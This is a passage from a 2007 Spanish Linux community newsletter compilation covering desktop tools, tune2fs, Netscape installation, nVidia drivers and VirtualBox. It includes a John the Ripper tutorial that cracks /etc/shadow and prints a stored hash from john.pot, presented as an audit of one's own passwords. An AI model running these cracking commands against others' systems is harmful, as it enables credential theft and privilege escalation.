* De AllTray: esta.

Veamos un ejemplo de funcionamiento:

* Aquí lo tienes reparado para minimizar la ventana de Firefox, una vez pulsas en

Aplicaciones/Accesorios/AllTray:

Page 123: Mega Boletin Fent Linux 2007

* Y aquí el icono de Firefox, junto con el de Thunderbird, minimizados ambos:

5. Herramientas de seguridad I (john the ripper)

Por vl@d.

Todo buen usuario de GNU/Linux ha de tener muy presente el tema de la seguridad y

sobre todo, si la máquina en la que trabajamos es usada por mas personas o ofrece algún tipo

de servicio mediante servidores a aquellos que se conectan a la misma.

Con este manual iniciamos una pequeña serie encaminada a ver de una forma muy sencilla y

apta para cualquier usuario, como podemos testear la seguridad de nuestro sistema. En esta

ocasión, vamos a probar la fuerza de nuestras contraseñas gracias a la herramienta John the

Ripper, un famoso crackeador que nos va a ser muy útil para nuestros propósitos

Nuestro objetivo es comprobar si la contraseña de root y de los demás usuarios de nuestro

sistema es lo bastante fuerte para aguantar un ataque de fuerza bruta por parte de algún

intruso que, de alguna forma, ha conseguido entrar en la máquina y que ahora pretende

escalar privilegios por la vía rápida, reventando el archivo /etc/shadow, el cual contiene todas

las contraseñas de los distintos usuarios.

Vamos a adelantarnos a “nuestro intruso” e instalemos John the Ripper en nuestro

GNU/Linux. En Debian o Ubuntu bastaría con hacer:

debian:/home/vlad# apt-get install john

Una vez instalado, echémosle un vistazo a la ayuda de la propia aplicación:

debian:/home/vlad# john

John the Ripper Version 1.6 Copyright (c) 1996-98 by Solar Designer

Usage: john [OPTIONS] [PASSWORD-FILES]

-single "single crack" mode

-wordfile:FILE -stdin wordlist mode, read words from FILE or stdin

-rules enable rules for wordlist mode

-incremental[:MODE] incremental mode [using section MODE]

-external:MODE external mode or word filter

Page 124: Mega Boletin Fent Linux 2007

-stdout[:LENGTH] no cracking, just write words to stdout

-restore[:FILE] restore an interrupted session [from FILE]

-session:FILE set session file name to FILE

-status[:FILE] print status of a session [from FILE]

-makechars:FILE make a charset, FILE will be overwritten

-show show cracked passwords

-test perform a benchmark

-users:[-]LOGIN|UID[,..] load this (these) user(s) only

-groups:[-]GID[,..] load users of this (these) group(s) only

-shells:[-]SHELL[,..] load users with this (these) shell(s) only

-salts:[-]COUNT load salts with at least COUNT passwords only

-format:NAME force ciphertext format NAME (DES/BSDI/MD5/BF/AFS/LM)

-savemem:LEVEL enable memory saving, at LEVEL 1..3

Esas son todas las opciones que John the Ripper nos ofrece. Nosotros lo vamos a ver de

forma básica, para hacernos una idea general de su funcionamiento.

La primera opción disponible es -single, la ejecutamos:

debian:/home/vlad# john -single /etc/shadow

Loaded 2 passwords with 2 different salts (FreeBSD MD5 [32/32])

guesses: 0 time: 0:00:00:01 100% c/s: 5225 trying: 999991969

La linea:

guesses: 0 time: 0:00:00:01 100%

Nos indica que las dos contraseñas que ha encontrado son seguras y que no han podido ser

descifradas.

Lo mejor para testear la seguridad de nuestras contraseñas, es usar una de las “wordlist” que

circulan por Internet, las cuales llevan miles de palabras que podemos pasar como parámetro a

John mediante la opción -wordfile. Así que supongamos que tenemos una de estas listas de

palabras, la cual hemos llamado “wordlist.txt” y que ahora vamos a usar.

debian:/home/vlad# john -wordfile:/home/vlad/wordlist.txt /etc/shadow

Loaded 1 password (FreeBSD MD5 [32/32])

guesses: 0 time: 0:00:00:00 100% c/s: 0.00 trying: 1234

Volvemos a salir airosos de este trance. Ahora vamos a incluir dentro del archivo “wordlist.txt”,

la contraseña de uno de nuestros usuarios de la máquina en cuestión, así que editamos el

archivo y la escribimos dentro de la lista. Vamos a ver como John the Ripper la averigua:

debian:/home/vlad# john -wordfile:/home/vlad/wordlist.txt /etc/shadow

Loaded 2 passwords with 2 different salts (FreeBSD MD5 [32/32])

aquíaparecelacontraseña (vlad)

guesses: 1 time: 0:00:00:00 100% c/s: 2.00 trying: aquíaparecelacontraseña

Page 125: Mega Boletin Fent Linux 2007

Es más, en el directorio donde ejecutamos los comandos, se nos crea un archivo llamado

john.pot, donde se almacenan las contraseñas que vayamos averiguando:

debian:/home/vlad# cat john.pot

$1$pdn0XxjU$kBW7mtuBmiIQp89A6GUyE1:aquíaparecelacontraseña

Otra opción que nos ofrece John the Ripper, es -incremental, mediante la cual el programa

usará todas los modos disponibles en el archivo de configuración localizado en

/etc/john/john.conf, aunque también es posible especificar el modo de crackeo:

debian:/home/vlad# john -incremental /etc/shadow

Loaded 2 passwords with 2 different salts (FreeBSD MD5 [32/32])

Este método es muy lento y obviamente dependerá no solo de la fuerza de las contraseñas,

sino también y en gran medida del procesador y potencia del equipo en el que lo estemos

ejecutando. Pero no os preocupéis, porque hay una opción para continuar la sesión:

debian:/home/vlad# john –restore

Para finalizar este pequeño tutorial, indicar que podemos ver en cualquier momento las

contraseñas averiguadas con el siguiente comando:

debian:/home/vlad# john --show /etc/shadow

vlad:aquíaparecelacontraseña:13691:0:99999:7:::

1 password cracked, 1 left

Sin duda John the Ripper es una excelente herramienta para testear la seguridad de nuestras

contraseñas y ayudarnos a conseguir un sistema mas seguro tanto para nosotros como para

los demás usuarios de nuestra máquina.

Este tipo de herramientas debe ser siempre utilizado para estos fines, queda bajo la

responsabilidad del lector utilizarlo con otros propósitos.

6. About:config.

Sí, no, ... merece la pena retocar el about:config de firefox para

mejorar su rendimiento, como todo en está ida encontrarán mil y una

opiniones al respecto, pero nada mejor que lo comprueben ustedes mismos y

salgan de dudas por si mismos, aún así veamos los que nos cuenta el amigo noctuido, experto

en el tema, sobre ello:

¿Qué experiencia tenéis con esta "utilidad"?

Buena, sobre todo cuando tenía mala conexión, manipulando el pipeling o los ajustes de

Page 126: Mega Boletin Fent Linux 2007

memoria conseguía más velocidad, ahora con el adsl la diferencia es exigua y por tanto no lo

hago.

¿Habéis notado alguno una mejora sustancial en la navegación?

Sí. Al igual que hay extensiones que proporcionan ciertas características, modificando el

about:confing en algunos casos se obtienen los mismos resultados.

¿Cuales son, para vosotros, las mejores y más efectivas modificaciones que se puede hacer en

esta parte de Firefox?

Es una parte que puede ser delicada ya que equivocarse de línea puede suponer dejar

inutilizado Firefox. Hay de todo desde cosas como quitar el botón "Ir" ya que sólo uso la tecla

"enter", hasta tener que modificar el user agent para los sitios que sólo admiten visitas del

internet explorer

Aquí tienes una descripción minuciosa.

Aquí tienes algunas que os pueden ser útiles y que ya postee. Aunque yo personalmente las

que son de manejar pestaña no las aplico ya que lo hace por mi la extensión TabMix Plus que

es mucho más completa.

Algunos trucos en español para el tema de la velocidad..

Los ajustes dependen del usuario y de la conexión que tenga. Por eso apenas recomiendo los

ajustes que yo tengo al igual que las extensiones que tengo instaladas, cada usuario, máquina

y conexión son distintas. Todo es cuestión de experimentar cada uno con su Firefox, aunque

esas guías definen bien los márgenes. Para todos los que no tienen tiempo, o les da flojera ya

hay extensiones adaptadas a contados clics.

7. Fedora: Sitios de interes.

Por noctuido.

Fedora es sin duda alguna una más que digna heredera de Red Hat para el escritorio

doméstico, aquí les dejo unas cuantas guías para tener éxito con esta distribución y no morir

en el intento.

- Conceptos básicos y primeras cuestiones a las que nos enfrentaremos si somos neófitos.

- Sitios de descarga de Fedora (mirrors).

- Sitio oficial del Proyecto Fedora (documentación, wiki, desarrolladores...)

- Fedora-es (espacio amigo de FL)

- Listas correo Fedora-es

- Web proyecto

Page 127: Mega Boletin Fent Linux 2007

- Noticias semanales fedora

- Listas de correo fedora

- Foros fedora

- Torrents fedora

- Fedora Venezuela. (Comunidad de usuarios).

- Fedora France. Con la traducción de wordlingo, cuidado no pegar los códigos traducidos,

copiarlos del portal original.

- Guía completa sobre fedora.

- Manual de instalación.

- Otro manual de instalación con capturas.

- Manual de instalación.

- Sistema de administración y cómo instalar varios programas.

- Actualizar con YUM.

- Smart en Fedora 7 y repositorios. Buen gestor de paquetes.

- Instalar varios plugins y programas: plugin MP3, plugin flash player, DVD player, MPlayer

Media Player, VLC (Cliente VideoLAN), RealPlayer 10 Media Player, Java J2RE y plugin para

navegadores basados en Netscape/Mozilla Java J2RE , NTFS driver, Internet Explorer, otros

añadidos y trucos.

- Más guías entre la que se encuentra cómo Instalar los drivers de nVidia para la tarjeta gráfica

y ver los efectos 3D.

- Cómo instalar el virtualizador VMware 6 en Fedora 7. Otro manual más con capturas.

- Manual de instalación y manejo de Samba (manejar windows de forma remota).

- Instalación de Apache, PHP y MySQL.

- Personaliza tu CD live o instalable con Revision de forma sencilla.

- Cómo agregar repositorios y tenerlos actualizados desde un CD. (falta de conexión o que ésta

sea lenta).

- Instalación y manejo de Beryl y compiz fusion.

- Fedora Daily Package. Donde cada día más o menos se nos sugiere un paquete.

* Repositorios no oficiales donde podéis encontrar con bastante probabilidad los programas

que os sean necesarios. Para otras versiones y/o arquitecturas subir en el directorio para

encontrar la vuestra, ya que las direcciones que pongo son para Fedora 7 _x86

- livna.

- kiewel.

- drpixel.

Page 128: Mega Boletin Fent Linux 2007

- tigro.

- atrpms.

- iasi. De desarrollo ya que algunos son para Fedora 8.

- people.vnoss.

* Sitios de búsqueda de paquetes para fedora y otras distribuciones:

- http://www.rpmseek.com/index.html

- http://rpm.pbone.net/

* Mirros con repositorios de Dries: http://dries.ulyssis.org/rpm/mirrors.html

- Restaurar el Grub.

- Información sobre nuevos paquetes oficiales y actualizaciones de estos.

- Instalación de Fedora 7 (vídeo)

- Instalacion de Centos v5 (vídeo)

Para no atrancarse con Fedora 8.

-En Howto Forge.

-En My guides.

Para el recuerdo siempre nos quedará... Fedora Core 2 por paulet en revista Solo Linux

Con permiso y para finalizar, pongo dos más, tirando para casa:

- Manuales / traducciones, si ya sé algo anticuadas, pero es lo que hay, si alguien se anima, si

no, pues que quede reflejado el trabajo ya hecho

– Y como no, canal fedora en FL

8. Presentación Proyecto de RLC.

(Proyecto discontinuado) Pues, ni más ni menos que las siglas de

Ranking Listas de Correo un nuevo proyecto en el que se ha embarcado el

compañero y amigo Juan Bellas, y que gustosamente comparte con todos

nosotros, y en el que pretende detectar "las inquietudes de la gente".

Lleva ya unos días contándonos sus avances, dificultades, cambios en el foro, si bien

próximamente hará lo mismo desde una bitácora aquí en FL que seguro continuará siendo tan

interesante como ya nos tiene habituados.

Teniendo en cuenta sus últimos posts a día de hoy así están las cosas:

La clasificación de las distribuciones está organizada en función de su "afinidad

familiar"

* Debian Familia

Page 129: Mega Boletin Fent Linux 2007

64 Studio

Debian

Feather Linux

Freespire

Knoppix

Musix

* Fedora Familia

CentOS

Fedora

Scientific

Yellow Dog

* Gentoo Familia

Gentoo

* Mandriva Familia

Mandriva

PclinuxOS

* OpenSuse Familia

OpenSuse

* Slackware Familia

Basic Linux

Frugalware

Gparted

Slackware

Vector Linux

Zenwalk

* Ubuntu Familia

Edubuntu

Gobuntu

Kubuntu

Ubuntu

Ubuntu Studio

Xubuntu

* Otras

Archlinux

Deli Linux

Foresight

Page 130: Mega Boletin Fent Linux 2007

Contamos con tres tipos de clasificaciones diferentes los últimos resultados serían:

Clasificación Distribuciones.

* Semanal:

* Mensual:

Clasificación Entornos de Desarrollo:

* Semanal.

Page 131: Mega Boletin Fent Linux 2007

* Mensual:

Clasificación Escritorio

* Semanal:

Page 132: Mega Boletin Fent Linux 2007

* Mensual:

Un resumen mensual en forma de porcentajes:

¿Y el futuro?

La idea sería conseguir automatizarlo y porque no, conseguir resultados por:

- La última semana

- El último mes

- Los últimos tres meses

- Los últimos seis meses

- El último año.

Page 133: Mega Boletin Fent Linux 2007

9. Agradecimientos y créditos.

Boletín dedicado a la memoria de Antonio de la Flor.

Para posibles interesados en colaborar en su mantenimiento y difusión:

Contacto

Recordar que el presente boletín, como todas las imágenes y texto de FL se distribuyen bajo la

licencia de contenidos que rige en FL

Otros boletines FL

* 1er boletín online FL 2007.

* 2º boletín online FL especial tercer aniversario.

* 3er boletín online año 2007.

* 4º boletín online de FL año 2007.

* 5º boletín online de FL año 2007.

Enlaces a los magazines de fentlinux.

(Pronto novedades)

* 1er Magazine FentLinux

* 2º Magazine FenLinux

* 3er Magazine FentLinux

* 4º Magazine FentLinux

Creado el 2007-09-06. Actualizado el 2007-12-05

Page 134: Mega Boletin Fent Linux 2007

- 7º BOLETÍN FL 2007 -

Como siempre os tenemos preparado la séptima entrega del boletín online

de FL cargado de información para todos los públicos. Tenemos desde

comandos de configuración, hasta manuales multimedia, vamos, para todos

los gustos. Espero que lo disfruteis.

Temas

1. Tune2fs

2. Netscape 9.0: Instalación. Experiencias al respecto

3. Actualizar nvidia-glx y xorg en Debian Sid

4. Virtualización con VirtualBox.

5. Herramientas de seguridad II: Netcat

6. Optimizando el arranque

7. Montar unidades NTFS en Debian

8. Compiz-Fusion en Debian

9. Agradecimientos y créditos

1. Tune2fs.

Por Vl@d

No se si a vosotros os ha pasado, pero os puedo asegurar que a mi si. Imaginad que un

buen día os lleváis a un amigo a casa para enseñarle vuestro sistema GNU/Linux y que

empezáis a presumir, por ejemplo, de la rapidez con la que arranca y tenéis ante vuestros ojos

el escritorio.

Pero mira tu por donde, nada mas arrancar se produce una comprobación de sistema de

ficheros durante el proceso de iniciar el sistema operativo. Claro, vuestro amigo sonríe y os

dice que con Windows Vista ya se habría acabado todo el proceso de arranque.

Si nos fijamos bien mientras se produce este chequeo, vemos que nos avisa de que hacía 20 o

30 arranques (depende de la distribución que tengamos instalada) que no se producía, así que

lo primero que nos viene a la cabeza es que la mejor forma de que no vuelva a pasar eso es

aumentarle el número de arranques de sistema hasta que se haga obligatoria otra

comprobación.

¿Pero como lo hacemos? En un primer momento podemos pensar que modificar algo de

proceso de inicialización de GNU/Linux puede ser algo muy difícil, con complicados archivos de

configuración y enrevesados comandos hasta conseguir nuestro propósito.

Page 135: Mega Boletin Fent Linux 2007

Pues nada mas lejos de la realidad. Nos vamos a valer del comando tune2fs y con solo una

orden, pondremos el número de reinicios que queramos hasta que el chequeo del sistema de

archivos vuelva a realizarse. Este comando está pensado para los sistemas de archivo ext2 y

ext3.

Lo primero es identificarse como usuario root en una consola de comandos:

vlad@debian:~$ su

Password:

debian:/home/vlad#

Y ahora solo nos queda echar mano de la opción -c de tune2fs, con la cual estableceremos la

cifra que queramos:

debian:/home/vlad# tune2fs -c 80 /dev/hda1

tune2fs 1.40.2 (12-Jul-2007)

Se pone la cuenta de montajes máxima a 80

No solo podemos establecer el número de montajes, sino que también el tiempo máximo en el

que se realizará la comprobación, con independencia de las veces que hayamos montado la

partición:

debian:/home/vlad# tune2fs -i 2m /dev/hda1

tune2fs 1.40.2 (12-Jul-2007)

Setting interval between checks to 5184000 seconds

Eso hará que lacomprobación se realice en 2 meses.

debian:/home/vlad# tune2fs -i 2d /dev/hda1

tune2fs 1.40.2 (12-Jul-2007)

Setting interval between checks to 172800 seconds

La hará en 2 dias.

Hemos de señalar que este comando ha de repetirse para todas aquellas particiones que

queramos modificar. En este caso lo hemos hecho para /dev/hda1, donde tenemos / de nuestro

Linux. Si quisiéramos hacerlo para una partición /home, sustituiríamos hda1 por el valor que

correspondiera.

Pero si ponemos la opción -c 0 haremos que nunca haga el chequeo de particiones. Tune2fs

tiene otras opciones. Aquí tenéis las más importantes:

-u uid: Establece el usuario del sistema para el que se reservará espacio.

-m n: Establece en tanto por ciento los bloques que se reservan.

-r n: Establece el número de bloques que se reservan.

-j: Cambiar un sistema de ficheros ext2 para convertirlo en ext3.

-C n: Cambiar el número de veces que el sistema ha sido montado.

Page 136: Mega Boletin Fent Linux 2007

2. Netscape 9.0: Instalación. Experiencias al respecto.

Por Noctuido

Voy a describiros la personalización a mi gusto con Netscape, es perfectamente

trasladable a navegadores tan similares como Firefox, aunque este último se encuentra en la

mayoría de repositorios, con lo que esta primera parte no es necesaria. Paso a describir el

proceso:

Descargamos el Navegador Netscape 9.0 desde la página oficial. En mi caso lo descargo en

cualquier sitio de nuestra carpeta personal, por ejemplo yo lo hago en /home/noctuido/

wget http://ftp.netscape.com/pub/netscape9/en-US/9.0b/unix/linux/netscape-navigator-

9.0b3.tar.gz

NOTA: Seguramente cuando quieras descargar Netscape ya esté disponible una versión más

nueva. Cambia la versión por la que quieras descargar.

Una vez hecha la descarga me situo en ese directorio y verifico que está ahí la descarga:

$ ls

netscape-navigator-9.0b3.tar.gz

Entro como root para descomprimir el archivo y comenzar el resto de la instalación (cada uno

que aplique los permisos que más le interesen):

$ su

tar -C /opt -xzvf netscape-navigator-9.0b3.tar.gz

Creamos un enlace simbólico:

ln -s /opt/navigator/navigator /usr/bin/navigator

Editamos Navigator.desktop con cualquier editor (gedit, kate, kwrite...):

gedit /usr/share/applications/Navigator.desktop

Copiamos y pegamos lo siguiente:

[Desktop Entry]

Comment=Navigator Web Browser

Exec=navigator

GenericName=Navigator Web Browser

Icon=/opt/navigator/icons/mozicon50.xpm

Name=Navigator

Path=

StartupNotify=true

Terminal=0

TerminalOptions=

Page 137: Mega Boletin Fent Linux 2007

Type=Application

X-KDE-SubstituteUID=false

X-KDE-Username=

Categories=Network;Application;

Guardamos, nos salimos del editor y también salimos como root de la consola:

exit

Actualizo la barra de tareas de gnome:

killall gnome-panel

Si utilizamos KDE:

dcop kicker Panel configure

Una vez que comprobemos que Netscape funciona correctamente podremos deshacernos del

archivo tar.gz que nos descargamos:

rm netscape-navigator-*

Llegado el caso y si quisieramos desistalarlo, los pasos serían los siguientes, entrando como

root:

su

rm /usr/bin/navigator

rm /usr/share/applications/Navigator.desktop

rm -rf /opt/navigator

Para los que tengáis Ubuntu sólo debéis entrar con privilegios anteponiendo el comando sudo

en cada línea de código. Más adelante iré diciendo qué añadidos particulares le voy haciendo.

Esto como dije antes es una manera muy personal de tener un navegador, por tanto si

compartimos experiencias sería mucho mejor. No espero con ello que calquéis mis gustos,

pero sería interesante como orientación en un principiante en el mundo de linux y de los

navegadores gecko.

Cuando abrimos Netscape por primera vez, nos da la opción de importar los marcadores,

cookies, o el historial entre otras opciones, desde navegadores como Mozilla u Opera.

Para los searchplugins de momento no existe esta opción, pero daré un par de pistas a

continuación.

Para encontrar significados o sitios web que contengan una palabra es muy común utilizar el

cajetín de búsquedas, el cual activamos con el atajo Control+K, desde el cual podemos

seleccionar desde que buscadores, traductores, o diccionarios queremos hacer las búsquedas.

Otra opción es la de que añadir o quitar los mismos, pulsando sobre el icono que se encuentra

en la parte izquierda del cajetín +m. Ahí activaremos las opciones de borrado o modificar su

posición. La carpeta de searchplugins se encuentra en la instalación que he realizado en:

Page 138: Mega Boletin Fent Linux 2007

/opt/navigator/searchplugins/

Para ir agregando más motores de búsqueda al cajetín recurriremos a añadirlos a la página

mycroft.mozdev.org. La página de mycroft contiene un buscador para escoger los

searchplugins que busquemos, que se añadiran simplemente pulsando sobre ellos, previa

confirmación. Una vez añadidos éstos tendremos, un archivo nuevo dentro del archivo oculto,

junto con todos los añadidos que le hagamos y Netscape no traiga de serie, el cual se

encuentra en:

/home/noctuido/.navigator/

Para ver las búsquedas que tenemos realizadas, pulsaremos la la tecla con la flecha hacia

abajo y nos lo mostrará en orden alfabético, estando el cajetín activado (Control+K).

Para borrar las búsquedas realizadas iremos a Editar-->Preferencias-->Privacidad-->Datos

Privados-->Limpiar ahora-->tildamos historial de descargas.

Para una visión más amplia de este cajetín vamos a el menú Ver-->Barras de Herramientas--

>Personalizar... o lo que es lo mismo View-->Toolbars-->Cusomize... una vez se abra la ventana

con los iconos podemos mover el cajetín hacia la barra de herramientas donde hay más

espacio, así como modificar la situación del resto de iconos si nos interesase.

Sin embargo si queremos hacer las búsquedas con palabra clave, ya hicimos un interesante

hilo al respecto. La traducción sería la siguiente con los ejemplos de ese hilo:

Marcadores-->Administrar Marcadores-->Nuevo Marcador. equivale a Bookmarks--->Organize

Bookmarks------>New Bookmark.

3. Actualizar nvidia-glx y Xorg en Debian SID.

Por Kallikantzaroi

Los que usamos Debian Sid a veces nos encontramos que en alguna actualización de

paquetería nos pide desinstalar el pakete nvidia-glx para poder actualizar el Xorg, en estas

situaciones tendremos que esperar a que entren en la actualización los paquetes nvidia-kernel-

source o nvidia-kernel.

Una vez hallan entrado estos paquetes actualizamos a saco, con ello se desinstalará el paquete

mencionado: nvidia-glx, pero no os preocupeis, una vez actualizada toda la paquetería abrimos

una consola (como root) y sencillamente reinstalando el driver de nVidia lo solucionaremos:

kallizantzaroi@kall:~$ su

Password:

kalli:/home/kallizantzaroi# module-assistant auto-install nvidia

Updated infos about 1 packages

Getting source for kernel version: 2.6.22-2-amd64

Page 139: Mega Boletin Fent Linux 2007

Kernel headers available in /lib/modules/2.6.22-2-amd64/build

apt-get install build-essential

Se esta leyendo la lista de paquetes... Hecho

Se esta construyendo el arbol de dependencias

Reading state information... Fet

build-essential ya esta en la versión mas reciente.

0 actualitzados, 0 nuevos a instalar, 0 a eliminar y 0 no actualitzados.

Done!

unpack

Extracting the package tarball, /usr/src/nvidia-kernel-source.tar.gz, please wait...

"/usr/share/modass/packages/default.sh" build KVERS=2.6.22-2-amd64

KSRC=/lib/modules/2.6.22-2-amd64/build KDREV=2.6.22-4 kdist_image

Tras hacer la instalación de paquetes bajo un entrono ncurses no saldrá algo como esto:

Done with /usr/src/nvidia-kernel-2.6.22-2-amd64_100.14.19-1+2.6.22-4_amd64.deb .

dpkg -Ei /usr/src/nvidia-kernel-2.6.22-2-amd64_100.14.19-1+2.6.22-4_amd64.deb

(Se esta leyendo la base de datos ... hay 239028 archivos y directorios

instalados actualmente.)

Se esta preparando para remplazar nvidia-kernel-2.6.22-2-amd64

100.14.11-1+2.6.22-4 (haciendo servir .../nvidia-kernel-2.6.22-2-amd64_100.14.19-1+2.6.22-

4_amd64.deb) ...

Se esta desempaquetando el remplazo de nvidia-kernel-2.6.22-2-amd64 ...

************************************************************************

*

* The update-modules command is deprecated and should not be used!

*

************************************************************************

Se esta configurando nvidia-kernel-2.6.22-2-amd64 (100.14.19-1+2.6.22-4) ...

Una vez reinstalado el driver procedemos a instalar el nvidia-glx

kalli:/home/kallikantzaroi# apt-get install nvidia-glx

Se esta leyendo la lista de paquetes... Hecho

Se esta construyendo el arbol de dependencias

Reading state information... Hecho

Se instalaran los siguientes paquetes NUEVOS:

Page 140: Mega Boletin Fent Linux 2007

nvidia-glx

0 actualitzados, 1 nuevos a instalar, 0 a eliminar y 0 no actualizados.

Se necesita obtener 4934kB de archivos.

Despues de desempaquetar se usaran 13,9MB de espacio en disco adicional.

Des:1 http://ftp.fi.debian.org unstable/non-free nvidia-glx 100.14.19-1 [4934kB]

4934kB descargados en 12s (410kB/s)

Se esta selecionando el paquete nvidia-glx previamente no seleccionado.

(Se esta leyendo la base de datos ... hay 239028 archivos y directorios instalados

actualmente.)

Se esta desempaquetando nvidia-glx (de .../nvidia-glx_100.14.19-1_amd64.deb) ...

Se esta configurando nvidia-glx (100.14.19-1) ...

Se esta instalando una versión nueva del archivo de configuración /etc/init.d/nvidia-glx ...

Creating NVIDIA TLS links... done.

kalli:/home/kallikantzaroi#

Como podreis observar, 1º reinstalo el driver con el clásico #module-assistant auto-install

nvidia, una vez se ha reinstalado el driver simplemente se vuelve a instalar el paquete nvidia-

glx #apt-get install nvidia-glx y ya está, paquetería actualizada con el new Xorg y driver

reinstalado.

Todo esto puede hacerse sin salir del sistema gráfico, aunque tambien puede hacerse desde

fuera. Por cierto.... con las ATI debe ser similar siguiendo el proceso correspondiente de

instalación del driver a la Debian.

PD: El kernel que uso es un 2.6.22-2-amd64.

4. Virtualización con VirtualBox.

Por ZX80

Ultimamente la palabra virtualización está teniendo mucho renombre y no hay web en

la que aparezca, pero ¿sabemos que significa, para que se utiliza?

Cuando en un equipo tenemos varios sistemas operativos y tenemos que usarlos

indistintamente hay que reiniciar la máquina para iniciar en ese sistema que necesitamos usar,

con el engorro que ello conlleva. Pues de una manera cómoda y fácil, mediante la virtualización

se ha conseguido poder iniciar otro sistema operativo bajo el que ya tenemos iniciado, sin

necesidad de tener que reiniciar.

En una máquina de escritorio podemos usar Windows virtualizado bajo Linux y viceversa, pero

donde de verdad tiene todo su poder es en servidores, aunque ese aspecto no lo voy a tocar.

Hay muchos programas de virtualización, tal vez el más conocido es Vmware o VirtualPC, que

Page 141: Mega Boletin Fent Linux 2007

son propietarios, aunque hay alternativas libres de muy buena calidad como qemu o virtualbox.

De éste último voy a hablaros en este manual que espero que os sea útil.

Instalando VirtualBox.

Lo primero de todo es instalar la aplicación, que cada uno hará desde el gestor de su

distribución Linux (apt-get, urpmi, emerge...) o tambien se puede descargar e instalar

manualmente desde su web: http://www.virtualbox.org/

Una vez instalado deberemos añadir nuestro usuario al grupo vboxusers para que se pueda

ejecutar, esto lo hacemos con el comando "gpasswd -a usuario vboxusers" eso si, como root, y

reiniciar la máquina (si, es necesario).

Otra precaución que debemos tomar es desactivar el NMI Watchdog que suele venir activado

por defecto en muchos kernels que es una aplicación de seguridad y que hace que virtualbox

no pueda cargar el módulo vboxdrv, necesario para su funcionamiento. No hace falta

desactivarlo en el kernel, sino que se puede pasar como parámetro del mismo o dejarlo fijo si

editamos el archivo /boot/grub/grub.conf. En otras distribuciones se desactiva

automáticamente. En mi caso este es el apecto del archivo:

default 0

timeout 10

splashimage=(hd0,0)/boot/grub/splash.xpm.gz

title=Gentoo Linux

root (hd0,0)

kernel /boot/kernel-genkernel-x86_64-2.6.18-gentoo root=/dev/ram0 init=/linuxrc

ramdisk=8192

real_root=/dev/sda1 acpi=off doscsi nmi_watchdog=0

initrd /boot/initramfs-genkernel-x86_64-2.6.18-gentoo

En caso de no lanzarse automáticamente el módulo lo haremos manualmente mediante el

comando "modprobe vboxdrv", aunque recomiendo cargarlo en el archivo de autocarga de

módulos de cada distribución, en mi caso /etc/modules.autoload.d/kernel-2.6

Empezamos !!!!

Al ejecutar virtualbox nos sale una ventanita de bienvenida muy amigable y unas

opciones para seleccionar. Al ser la primera vez que lo iniciamos deberemos seleccionar el

iconito que pone "Nueva", como muestra la imagen, y nos llevará a otra ventana para la

creación de un espacio virtual:

Page 142: Mega Boletin Fent Linux 2007

Virtualbox funciona con imágenes de discos duros con extensión VDI o en su defecto, espacio

que creamos en nuestro disco duro local que asignaremos como queramos, así que deberemos

seleccionar un disco que tengamos o crear un espacio en el disco local, que es lo que yo voy a

hacer. Selecciono "Nuevo" y configuro el espacio y demás parámetros de la futura imagen de

disco.

Page 143: Mega Boletin Fent Linux 2007

Nos da dos opciones: un espacio fijo o dinámico. Este último se va llenando hasta el límite que

le demos, por lo que el espacio en el disco físico se gestiona según vayamos instalando

aplicaciones en nuestro sistema virtual, con el consiguiente ahorro de espacio físico.

Además deberemos darle un nombre a nuestro sistema y decirle el tipo de sistema que vamos

a poner y la ruta.

Page 144: Mega Boletin Fent Linux 2007

El sistema que yo quiero poner es un Windows XP al que llamaré vwindows y elijo una partición

dinámica de 8 Gigas con 640 Mb de RAM y 24 Mb de video, una configuración bastante

apañada para ejecutar un XP más o menos en condiciones.

Como vemos en la imagen anterior, al haber creado un disco virtual ya nos deja elegirlo en las

opciones. Podemos crear cuantos discos queramos con los diferentes sistemas operativos

virtuales incluso guardarlos en DVD para irlos poniendo cuando convenga.

NOTA: Todas estas opciones se pueden cambiar más tarde cuando esté creada la imagen VDI

desde el iconito "Configuración".

Una vez creada la imagen de disco y darle al botón "Finalizar" nos aparece de nuevo la

ventanita de Bienvenida, pero esta vez ya tenemos un sistema para seleccionar y una zona

lateral derecha con las características del sistema virtual seleccionado.

Además, en el iconito de "Configuración" podemos cambiar las opciones que hemos elegido,

pero además otros aspectos, como el sistema de arranque del sistema virtualizado, el sistema

de audio, la red (que dejaremos en modo NAT), incluso podremos crear otro espacio de disco

virtual y ponerselo como esclavo además de compartir carpetas, vamos, como si de un sistema

nativo se tratara.

Page 145: Mega Boletin Fent Linux 2007

Si ahora le damos al icono de "Iniciar" empezará la instalación de windows. Debemos montar el

CD desde Linux para que no hayan problemas, introducimos el CD y a instalar se ha dicho.

Page 146: Mega Boletin Fent Linux 2007

Y una vez instalado ya podemos empezar a usarlo, instalar aplicaciones y hacer lo que

haríamos con un windows nativo.

Virtualbox-additions, los plug-ins de Virtualbox.

Como todo buen programa que se tercie, existen añadidos para mejorar el programa

base que no necesitan estar instalados para que la propia aplicación funcione, pero sí nos dará

soporte extra o más funcionalidades, y este es el caso de Virtualbox-additions.

Entre otras cosas permite que el puntero del ratón no quede "encerrado" dentro de la

aplicación, sino que sea libre y pueda moverse por toda la pantalla, cosa que sin las additions

se consigue pulsando cada vez que queramos la tecla CTRL derecha. Además se puede

redimensionar la ventana del sistema virtualizado ajustándose al tamaño de la ventana.

Una vez instalado deberemos cargarlo dentro del sistema virtualizado, por lo que dentro de

windows nos iremos a la pestaña "Dispositivos", desmontaremos el CD/DVD (si no lo estaba) y

volveremos a montar, pero en este caso elegiremos "Imagen iso", dandole la ruta a la iso de los

additions, que en mi caso es /opt/virtualbox/additions/VBoxGuestAdditions.iso y empezará la

instalación dentro de windows.

NOTA: Para el uso de carpetas compartidas se necesita tener instalado virtualbox-additions.

Page 147: Mega Boletin Fent Linux 2007

Uso de carpetas compartidas.

Si ya tenemos archivos en nuestro disco duro local podremos usarlos desde el sistema

virtualizado mediante el uso de carpetas compartidas.

Nos iremos a "Configuración" y en la sección "Carpetas compartidas" seleccionaremos la ruta a

la carpeta real que queremos compartir y le daremos un nombre. Podemos añadir las que

queramos y editarlas si queremos cambiar algo.

En mi caso la ruta es una carpeta de almacenamiento de 1 Gb bajo FAT32 llamada store que

cuelga de /mnt.

Como dice el propio Virtualbox, para poder acceder a ella desde Windows deberemos abrir una

consola en Linux y teclear:

VBoxManage sharedfolder add "vwindows" -name "store" -hostpath "/mnt/store"

Esto hace que Virtualbox sepa que carpeta debe compartir, y desde una consola en windows

tecleamos:

net use H: \\vboxsrv\store

La letra H se puede cambiar por la que queramos siempre y cuando no esté en uso por el

sistema virtualizado.

